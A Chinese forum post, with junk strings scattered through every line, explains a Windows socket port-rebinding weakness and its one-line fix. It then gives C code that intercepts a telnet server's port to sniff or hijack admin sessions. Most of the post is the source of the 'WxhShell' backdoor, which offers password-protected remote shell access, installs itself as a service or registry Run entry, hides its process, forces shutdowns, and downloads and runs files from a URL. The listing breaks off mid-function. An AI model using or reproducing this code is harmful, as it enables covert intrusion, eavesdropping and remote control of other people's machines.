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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vXZz=E AH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <?}g[]i  
!h(0b*FUJ  
  saddr.sin_family = AF_INET; UimZ/\r  
pg`;)@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g7yHhF>%X  
y+x>{!pw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  +6-!o,(  
lhODNWi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KA2B3\  
)yAPYC  
  这意味着什么?意味着可以进行如下的攻击: zX Pj7K*  
w' >v@`y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5E(P,!-.  
WX"M_=lc-@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B\w`)c  
IKp x~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OyZ>R~c'B  
dAt[i \S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +'4dP#  
d0,F'?.0|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )q-!5^ak  
jd'R2e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 He23<hd!  
Y)RikF >  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O:R{4Q*5  
$QnfpM%+=  
  #include 0P >dXd)T  
  #include g5\B-3{  
  #include EZW?(%b>H  
  #include    h2 <$L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4(ZV\}j1  
  int main() >GRuS\B  
  { %c{)'X  
  WORD wVersionRequested; K.zs;^  
  DWORD ret; ,Ou)F;r  
  WSADATA wsaData; EHjhe z  
  BOOL val; ri`|qy6! |  
  SOCKADDR_IN saddr; [AwE  
  SOCKADDR_IN scaddr; !d_A?q'hN  
  int err; P dnK@a  
  SOCKET s; 8~>3&jX  
  SOCKET sc; DR=1';63  
  int caddsize; @ U|u _S@  
  HANDLE mt; PS1~6f"D  
  DWORD tid;   Yw `VL)v(y  
  wVersionRequested = MAKEWORD( 2, 2 ); $sJfxh r  
  err = WSAStartup( wVersionRequested, &wsaData ); ?K#$81;[  
  if ( err != 0 ) { w5\)di  
  printf("error!WSAStartup failed!\n"); \}W.RQ^3  
  return -1; 2uEu,YC  
  } N*W.V,6yH  
  saddr.sin_family = AF_INET; #1k,t  
   oc Uu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u6RHn;b  
H_]kR&F8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); | w -W=v  
  saddr.sin_port = htons(23); H0 t1& :  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OwUbm0)h^V  
  { EG6fC4rfC  
  printf("error!socket failed!\n"); ]Hq%Q~cE  
  return -1; Qg=~n:j  
  } .}s a2-  
  val = TRUE; WH*&MIjAr/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SF7 Scd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  v<W++X7z  
  { ;<H2N0qJ(  
  printf("error!setsockopt failed!\n"); /.bwwj_;  
  return -1; I^=M>_ s4  
  } "?-s Qn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eH6cBX#P.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cB^lSmu5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gx($q;8  
Sq%R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e +U o-CO  
  { jT',+   
  ret=GetLastError(); xH uyfQLk  
  printf("error!bind failed!\n"); ipG+qj/=  
  return -1; )&K%Me  
  } Ns(F%zkm  
  listen(s,2); @}:(t{>;e7  
  while(1) J .d<5`7   
  { {rQ`#?J}^?  
  caddsize = sizeof(scaddr); ML-g"wv  
  //接受连接请求 TuL( /  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _45"Z}Zx  
  if(sc!=INVALID_SOCKET) `N+ P ,  
  { 10(N|2'q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u QCS%|8C  
  if(mt==NULL) ]LjW,b"  
  { A:(uK>5{Kk  
  printf("Thread Creat Failed!\n"); Y!zlte|P  
  break; 62) F  
  } v80 e]M!  
  } NT'Yh  
  CloseHandle(mt); = 1C9lKm  
  } /<~IKVz\&  
  closesocket(s); t*#T~3p  
  WSACleanup(); X@rAe37h+  
  return 0; 9L,T@#7  
  }   ="4)!  
  DWORD WINAPI ClientThread(LPVOID lpParam) KMa?2cJH#  
  { IV76#jL  
  SOCKET ss = (SOCKET)lpParam; #"l=Lv  
  SOCKET sc; TQE_zOa:  
  unsigned char buf[4096]; S3w? X  
  SOCKADDR_IN saddr; $l=m?r=  
  long num; CAfG3;  
  DWORD val; :v`o="  
  DWORD ret; [/FIY!nC?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L-yC'C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E@p9vf->  
  saddr.sin_family = AF_INET; u-,=C/iU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^)WG c/  
  saddr.sin_port = htons(23); cVN|5Y   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rnUe/HjH  
  { :B im`mHl  
  printf("error!socket failed!\n"); \TjsXy=:)  
  return -1; (Q&Z/Fe  
  } kq+L63fZ  
  val = 100; HUH=Y;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hz!.|U@,{<  
  { {dDU^7O  
  ret = GetLastError(); Q =Z-vTD+  
  return -1; G"]'`2.m  
  } *=rl<?tX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @L0.Z1 ).  
  { sqhM[u k  
  ret = GetLastError(); ^+88z>  
  return -1; $P$OWp?b  
  } B4%W,F:@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \RJ428sxn  
  { "\30YO>\  
  printf("error!socket connect failed!\n"); [1Rs~T"  
  closesocket(sc); :0/I2:  
  closesocket(ss); *`[LsG]ZF  
  return -1; bLg1Dd7Q  
  } &0'BCT  
  while(1) 0=NB[eG  
  { PM{kiz^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d4/ZOj+%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \7RP6o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'Q# KjY  
  num = recv(ss,buf,4096,0); : 7'anj  
  if(num>0) \O[Cae:^?  
  send(sc,buf,num,0); !^w+<p  
  else if(num==0) `3~w#?+=*  
  break; |2Q;SaI^\  
  num = recv(sc,buf,4096,0); rLVS#M#&e>  
  if(num>0) q*>`HTPcU  
  send(ss,buf,num,0); -g~$HTsGm  
  else if(num==0) mU;TB%#)  
  break; 8d-_'MXk3  
  } N7XRk= J  
  closesocket(ss); Y:O%xtGi  
  closesocket(sc); {=TD^>?  
  return 0 ; Y`%:hvy~  
  } L49`=p<  
}JS?42CTaV  
/IODRso/!  
========================================================== ^XV$J-  
^j@,N&W:lG  
下边附上一个代码,,WXhSHELL [!"u&iu`  
CZ|R-ky6p  
========================================================== l78zS'  
vNP,c]:%  
#include "stdafx.h" DEIn:d  
EI'(  
#include <stdio.h> N/(&&\3  
#include <string.h> 2|+**BxHD  
#include <windows.h> e(cctC|l  
#include <winsock2.h> (V*ggii@  
#include <winsvc.h> M^a QH/=:"  
#include <urlmon.h> Gt'%:9r  
wT;D<rqe`  
#pragma comment (lib, "Ws2_32.lib") !RV}dhI  
#pragma comment (lib, "urlmon.lib") +PjH2  
vV8}>  
#define MAX_USER   100 // 最大客户端连接数 7^=O^!sa  
#define BUF_SOCK   200 // sock buffer |dXmg13( -  
#define KEY_BUFF   255 // 输入 buffer S~hNSw (-  
-[Q%Vv!8  
#define REBOOT     0   // 重启 $Ad 5hkz  
#define SHUTDOWN   1   // 关机 3eD#[jkAI;  
rk `x81  
#define DEF_PORT   5000 // 监听端口 B+ +:7!  
.Gw;]s3  
#define REG_LEN     16   // 注册表键长度 't]=ps  
#define SVC_LEN     80   // NT服务名长度 D3$}S{Yw1  
z6\Y& {  
// 从dll定义API +c?1\{M   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k? X7h2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zgV{S Qo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Drz#D1-2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z':}ZXy]  
R["_Mff  
// wxhshell配置信息 lIz"mk  
struct WSCFG { pno]B ld'z  
  int ws_port;         // 监听端口 ULj'DzlfH  
  char ws_passstr[REG_LEN]; // 口令 J"# o #~  
  int ws_autoins;       // 安装标记, 1=yes 0=no &jr'vS[b  
  char ws_regname[REG_LEN]; // 注册表键名 8sLp! O;f2  
  char ws_svcname[REG_LEN]; // 服务名 Qn_*(CSp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h5>JBLawQP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7YrX3Hx 8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; 7k@_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mz_*`lRN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |}t[- a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;vnG  
W&qE_r  
}; %&0_0BU  
8V?O=3<a  
// default Wxhshell configuration zQ&`|kS  
struct WSCFG wscfg={DEF_PORT, \:, dWL u  
    "xuhuanlingzhe", a!vF;J-Zqa  
    1, ^h1EE=E"  
    "Wxhshell", w|7<y8#qC  
    "Wxhshell", jw]~g+x#$  
            "WxhShell Service", >8\EdN59{  
    "Wrsky Windows CmdShell Service", uDbz`VpK  
    "Please Input Your Password: ", 4vQ]7`I.f  
  1, sz9C':`W  
  "http://www.wrsky.com/wxhshell.exe", Z7lv |m&  
  "Wxhshell.exe" T_i]y4dg  
    }; _Gv n1"l  
|5^tp  
// 消息定义模块 1--_E,Su>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x8+W9i0[1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v@(Y:\>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,onOwPz  
char *msg_ws_ext="\n\rExit."; fL>>hBCqC  
char *msg_ws_end="\n\rQuit."; fO|oV0Rw  
char *msg_ws_boot="\n\rReboot..."; )5Mf,  
char *msg_ws_poff="\n\rShutdown..."; [9Q}e;T  
char *msg_ws_down="\n\rSave to "; v2][gn+58  
Wz',>&a  
char *msg_ws_err="\n\rErr!"; DE M;)-D  
char *msg_ws_ok="\n\rOK!"; *EY^t=  
;Sl]8IZ  
char ExeFile[MAX_PATH]; /{QR:8}-Q  
int nUser = 0; l.NV]up +  
HANDLE handles[MAX_USER]; KF(N=?KO  
int OsIsNt; FwKT_XkY  
b\& |030+  
SERVICE_STATUS       serviceStatus; ?VaWOwWI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; os 9X)G  
8K$q6V%#  
// 函数声明 lC):$W  
int Install(void); gJz~~g'  
int Uninstall(void); MZ]#9/  
int DownloadFile(char *sURL, SOCKET wsh); x=s=~cu4,  
int Boot(int flag); 5F&xU$$a-  
void HideProc(void); 8$4@U;Vh;  
int GetOsVer(void); FtHR.S= u  
int Wxhshell(SOCKET wsl); IY jt*p5  
void TalkWithClient(void *cs); rXgU*3 RG  
int CmdShell(SOCKET sock); w eu3c`-a  
int StartFromService(void); 9=D09@A%e  
int StartWxhshell(LPSTR lpCmdLine); X} <p|P+  
>,;, 6|S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Tmpj9! q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `_M*2(rt  
W{'RR.  
// 数据结构和表定义 !0p_s;uu,W  
SERVICE_TABLE_ENTRY DispatchTable[] = t|XQFb@}  
{ fR]%:'2k  
{wscfg.ws_svcname, NTServiceMain}, (nL''#Ka  
{NULL, NULL} @'XxMO[Z!<  
}; *>"k/XUn$  
a8$gXX-2  
// 自我安装 R{N9'2l:  
int Install(void) _ljdo`j#N  
{ nZ7FG  
  char svExeFile[MAX_PATH]; ] A.:8;  
  HKEY key; wd 86 y  
  strcpy(svExeFile,ExeFile); /-J12O  
<B"M} Y>_P  
// 如果是win9x系统,修改注册表设为自启动 fiG/ "/u  
if(!OsIsNt) { fZ8at  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z;fi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /8](M5X]f  
  RegCloseKey(key); 5BWO7F0v"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E6 glR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -`knSR  
  RegCloseKey(key); x.J% c[Q8  
  return 0; k(As^'>  
    } 1"7Rs}l7  
  } e&*< "WN  
} |^ K"#K  
else { h0;PtQb1  
0uZ 'j  
// 如果是NT以上系统,安装为系统服务 --X1oC52A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #I]5)XT  
if (schSCManager!=0) .~>Uh3S  
{ X"'c2gaa_  
  SC_HANDLE schService = CreateService T8*<  
  ( !>olD_  
  schSCManager,  B6| g2Tt  
  wscfg.ws_svcname, X }UR\8g  
  wscfg.ws_svcdisp, =6o,{taZ.~  
  SERVICE_ALL_ACCESS, _@-D/g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pzL !42  
  SERVICE_AUTO_START, ctqXzM `  
  SERVICE_ERROR_NORMAL, _hK83s4  
  svExeFile, 5 *w a  
  NULL, #a : W  
  NULL, Nhq& Sn2  
  NULL, gA`x-`  
  NULL, N^u,C$zP9C  
  NULL dM|&Y6  
  ); 7*D*nY4+  
  if (schService!=0) MJxTzQE  
  { *cNqgw#\qL  
  CloseServiceHandle(schService); y}TiN!M  
  CloseServiceHandle(schSCManager); w"p,6Ew  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e@B+\1  
  strcat(svExeFile,wscfg.ws_svcname); JYQ.Y!X1O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7x,c)QES`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 67916  
  RegCloseKey(key); z@\r V@W5  
  return 0; ~KtA0BtC  
    } Y6J7N^  
  } N|G=n9p  
  CloseServiceHandle(schSCManager); 7hQf T76h  
} aqa%B  
} T!GX^nn*O  
Z33&FUU  
return 1; 7.G1Q]6/  
} f{]eb1  
Km)5;BQxg  
// 自我卸载 $m$tfa-  
int Uninstall(void) zP[_ccW@  
{ _3G;-iNX;  
  HKEY key; m %mA0r  
?B&Z x-krd  
if(!OsIsNt) { ! y1]S .;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1r %~Rm  
  RegDeleteValue(key,wscfg.ws_regname); ,}9G|$  
  RegCloseKey(key); *)PCPYB^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (6Ssk4  
  RegDeleteValue(key,wscfg.ws_regname); *Ey5F/N}$H  
  RegCloseKey(key); ,(%?j]_P2  
  return 0; <4caG2~q  
  } m~upTQz  
} 8|\0\Wd;vu  
} ct,Iu+HJ  
else { m5m'ByX(*  
caK<;bmu-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @O~  
if (schSCManager!=0) ;H%&Jht  
{ [gZz'q&[)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hWzjn5w3  
  if (schService!=0) d@ +}_R"c  
  { $}{u6*u.,  
  if(DeleteService(schService)!=0) { urJ>dw?FI  
  CloseServiceHandle(schService); O{0TS^  
  CloseServiceHandle(schSCManager); i0,'b61qE  
  return 0; lu]Z2xSv  
  } ,34|_  
  CloseServiceHandle(schService); iG:9uDY  
  } ]Bp db'  
  CloseServiceHandle(schSCManager); QQQ3U  
} I|RMxx y;  
} jafIKSD]%  
P>*g'OK^!G  
return 1; Xp(e/QB  
} ;(]O*{F7k  
Bl)znJ^  
// 从指定url下载文件 Rnl 4  
int DownloadFile(char *sURL, SOCKET wsh) ^LA.Y)4C2%  
{ 8{mQmG4  
  HRESULT hr; h)O<bI8  
char seps[]= "/"; Iyo ey  
char *token; @B<B#  
char *file; eSV_.uvsb  
char myURL[MAX_PATH]; [1I>Bc&o*  
char myFILE[MAX_PATH]; (r&e|  
 QuJ~h}k  
strcpy(myURL,sURL); n@3(bl5{  
  token=strtok(myURL,seps); XIv{jzgF  
  while(token!=NULL) GCw <jHw  
  { 1 \#n{a3  
    file=token; UfE41el:  
  token=strtok(NULL,seps); @<GVY))R8  
  } ?q}XD c  
9u3~s <  
GetCurrentDirectory(MAX_PATH,myFILE); EYe)d+E*  
strcat(myFILE, "\\"); 2TR l @  
strcat(myFILE, file); &4aY5y`8+f  
  send(wsh,myFILE,strlen(myFILE),0); qr5ME/)z  
send(wsh,"...",3,0); h q5=>p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pq \M;&  
  if(hr==S_OK) /0w?"2-  
return 0; fz)i9D@  
else  Bld%d:i  
return 1; b4_"dg~gK  
=:fFu,+{  
}  T?!&a0  
O2W EA  
// 系统电源模块 v-* CE[  
int Boot(int flag) +y+-~;5iv  
{ {gSR49!Q  
  HANDLE hToken; i-Le&  
  TOKEN_PRIVILEGES tkp; 0(owFNUBs  
2r+@s g  
  if(OsIsNt) { 6Y#-5oE u/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9!XW):  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2>s@2=Aq  
    tkp.PrivilegeCount = 1; YNGG> ;L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sa V]6/|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J6*Zy[)%&S  
if(flag==REBOOT) { X%S9 H^9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yIS.'mK  
  return 0; ;l]OmcL  
} |+?ABPk"  
else { =y3gnb6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w|6;Pf~1y)  
  return 0; jGB2`^&d  
} @!92Ok  
  } dHU#Y,v  
  else { 'o2V}L'nG  
if(flag==REBOOT) { YF{KSGq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7=.}484>J  
  return 0; 4<`x*8` ,  
} {C=d9z~:  
else { u9AXiv+K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'E/vE0nN?  
  return 0; m"B)%?C#  
} l8n}&zX  
} Z%*_kk  
(n&Hjz,Fv  
return 1; b"Hg4i)  
} O5PCR6U  
cJ 5":^O  
// win9x进程隐藏模块 i!/V wGg  
void HideProc(void) C[j'0@~V:B  
{  T)o)%Yv  
=rj5 q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w%,Iy, G@  
  if ( hKernel != NULL ) 05 ".;(  
  { %eoO3"//  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4m%RD&ZN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H79|%@F"  
    FreeLibrary(hKernel); =1o_:VOG  
  } )t G`a ;  
=,D3e+P'  
return; jWb;Xk4  
} q9- =>  
)Cuc ]>SC  
// 获取操作系统版本 Y(WX`\M97  
int GetOsVer(void) e_6@oh2s-  
{ Ez^U1KKOE7  
  OSVERSIONINFO winfo; /easmf]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >6XGF(G   
  GetVersionEx(&winfo); ?YY'-\h?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) + M2|-C  
  return 1; tzv&E0 |d  
  else =G*rfV@__V  
  return 0; `0+zF-  
} P,Fs7  
Aa* UV6(v  
// 客户端句柄模块 M*)}F  
int Wxhshell(SOCKET wsl) B7qm;(?X&  
{ +{ QyB  
  SOCKET wsh; umXa   
  struct sockaddr_in client; 48]1"h%*qB  
  DWORD myID; #!\g5 ')mC  
wK@k}d  
  while(nUser<MAX_USER) Mn(:qQo^&`  
{ TY"=8}X1  
  int nSize=sizeof(client); 6xSdA;<+]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `gq@LP"o  
  if(wsh==INVALID_SOCKET) return 1; 3_(fisvx  
n!mtMPH$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); < J=9,tv<  
if(handles[nUser]==0) |$`LsA.  
  closesocket(wsh); m(nGtrQJm  
else V7u;"vD  
  nUser++; T78`~-D4<  
  } u"-q"0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *]%{ttR~  
X )d7y  
  return 0; ysA~Nq@  
} $b;9oST  
}p0|.Qu9  
// 关闭 socket ]}R\[F (_%  
void CloseIt(SOCKET wsh) |`9POl=  
{ =LHE_ AA  
closesocket(wsh); q4$zsw  
nUser--; sHO6y0P  
ExitThread(0); Le"$ksu>  
} nG&= $7x^  
;5 cg<~t  
// 客户端请求句柄 t^. U<M  
void TalkWithClient(void *cs) <5MnF  
{ +)Tt\Q%7  
Hep]jxp+  
  SOCKET wsh=(SOCKET)cs; %-?HC jT  
  char pwd[SVC_LEN]; ppIMaP  
  char cmd[KEY_BUFF]; I9Af\ k|^  
char chr[1]; 7g3vh%G.  
int i,j; m sS5"Qr  
@giipF2$  
  while (nUser < MAX_USER) { %'Ebm  
BY"<90kBL  
if(wscfg.ws_passstr) { >6 [{\uPK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Px&*&^Gf[b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {:c*-+?  
  //ZeroMemory(pwd,KEY_BUFF); YuD2Q{  
      i=0; F!jYkDY  
  while(i<SVC_LEN) { *+h2,Z('a  
|cL'4I>b9  
  // 设置超时 tF SO"  
  fd_set FdRead; %..{c#V  
  struct timeval TimeOut; H27_T]\  
  FD_ZERO(&FdRead); TI:-Y@8  
  FD_SET(wsh,&FdRead); T1?fC)  
  TimeOut.tv_sec=8; s=Pwkte  
  TimeOut.tv_usec=0; $-Q,@Bztq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  q%,q"WU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v-2O{^n  
zh)qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N ~L3 9  
  pwd=chr[0]; 6rMGl zuRo  
  if(chr[0]==0xd || chr[0]==0xa) { D]v=/43  
  pwd=0; @#Jc!p7)  
  break; r-'(_t~FT  
  } Iq.*2aff+  
  i++; D1t@Y.vl  
    } &!#,p{}ccU  
roYoxF;\  
  // 如果是非法用户,关闭 socket }|MGYS)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W}V L3s  
} =@;uDu:Q  
]N}80*Rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g@hg u   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Az[Yvu'<  
!vHUe*1a{  
while(1) { Q+gd|^Vc9  
]N!382  
  ZeroMemory(cmd,KEY_BUFF); F`-|@k  
%M^X>S\%  
      // 自动支持客户端 telnet标准   {tMpI\>S  
  j=0; w+ gA3Dg  
  while(j<KEY_BUFF) { Y s[JxP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 74ma   
  cmd[j]=chr[0]; ae( o:G  
  if(chr[0]==0xa || chr[0]==0xd) { H2`aw3  
  cmd[j]=0; xM}lX(V!w  
  break; vs;T}' O  
  } |H 0+.f;  
  j++; Bh?K_{e  
    } i6M_Gk}  
%k @"*  
  // 下载文件 j@$p(P$  
  if(strstr(cmd,"http://")) { cx M=#Go  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dQLR%i#P8  
  if(DownloadFile(cmd,wsh)) XzGPBi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |k3ZdM  
  else ;=>4 '$8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wND0KiwH  
  } T :IKyb  
  else { -Wc'k 2oU  
AGkk|`  
    switch(cmd[0]) { {-D2K:m  
  |&lAt \  
  // 帮助 9{\e E]0  
  case '?': { vQ"EI1=7Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K0_/;a] |  
    break; `!Ei H<H}  
  } I `:nb  
  // 安装 JPW+(n|g  
  case 'i': { 3\WLm4  
    if(Install()) ]+x;tP o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^XEX"E  
    else 0@z=0}0Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%;Z`Xn&u  
    break; }@Lbv aa  
    } vUh.ev0  
  // 卸载 k]W~_  
  case 'r': { kb{h`  
    if(Uninstall()) 67Rsd2   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % FW__SN$c  
    else rld4uy}m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X'4e)E3*O  
    break; [ah%>&u  
    } HV ab14}E  
  // 显示 wxhshell 所在路径 'p,QI>  
  case 'p': { 'aMT^w4if)  
    char svExeFile[MAX_PATH]; 7JNhCOBB  
    strcpy(svExeFile,"\n\r"); W#!![JDc  
      strcat(svExeFile,ExeFile); -I4-K%%B`  
        send(wsh,svExeFile,strlen(svExeFile),0); LyRto  
    break; ?LAKH$t  
    } G>f-w F6  
  // 重启 7@al)G;~  
  case 'b': { MFO}E!9`q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4L\bT;dQ|.  
    if(Boot(REBOOT)) $$`E@\5P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i2`i5&*  
    else { "mr;|$Y  
    closesocket(wsh); aGvD  
    ExitThread(0); TWE$@/9)g  
    } M6U/. n  
    break; os*QWSs  
    } |9. `qv  
  // 关机 "J^M@k\!  
  case 'd': { 3Qmok@4e)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %tiFx:F+  
    if(Boot(SHUTDOWN)) U WYLT-^x  
